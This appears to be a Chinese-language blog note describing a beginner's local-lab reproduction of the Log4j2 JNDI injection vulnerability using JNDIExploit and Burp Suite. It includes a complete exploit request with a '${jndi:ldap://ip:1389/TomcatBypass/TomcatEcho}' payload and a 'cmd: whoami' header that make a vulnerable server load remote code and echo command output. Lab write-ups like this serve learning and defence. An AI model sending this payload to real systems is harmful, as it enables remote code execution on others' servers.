准备环境
Log4j2这个漏洞是我第一次复现,因为还未学到javaweb方面的东西,就一直搁置着这个
工具: JNDIExploit、burpsuite
首先把师傅给的项目文件运行一下
发现报错,这里有一行不完整,因为我也不清楚这里应该是什么就先忽略了。
忽略这行不完整的,可以正常运行
下面状态栏可以看到打开了8080端口,这应该就是漏洞存在的位置了。
打开后发现好像是404页面。我以为是我的问题,在这耽搁了比较久的时间。就去查找网上其他师傅们复现的文章和笔记。
在一篇文章中发现,之前那个404页面好像是正常运行之后的页面。
复现过程:
用JNDIExploit启动一个ldap的服务
这里发现HTTP服务无法开启,后来发现是端口冲突。换个端口就OK。
使用BP抓包工具构造一个请求
GET /hello HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 70 cmd: whoami payload=${jndi:ldap://ip:1389/TomcatBypass/TomcatEcho}
看到这一步的时候发现之前忽略的项目内的一行,可能是请求内容中的最后一行的payload
将项目中的补充完整,重新运行。
BP发送构造的请求
可以看到回显。复现完成。
不足
在漏洞利用前应先验证漏洞是否存在,但是我根据教程中师傅的验证流程,使用dnslog没有验证成功:
总结
最后说一下这个漏洞的原理,引用其他师傅的一张图片
最后,注意到了项目中除了/hello这个路径,还有个/login
是通过POST方式传输username和password。猜想还有另外一种复现方法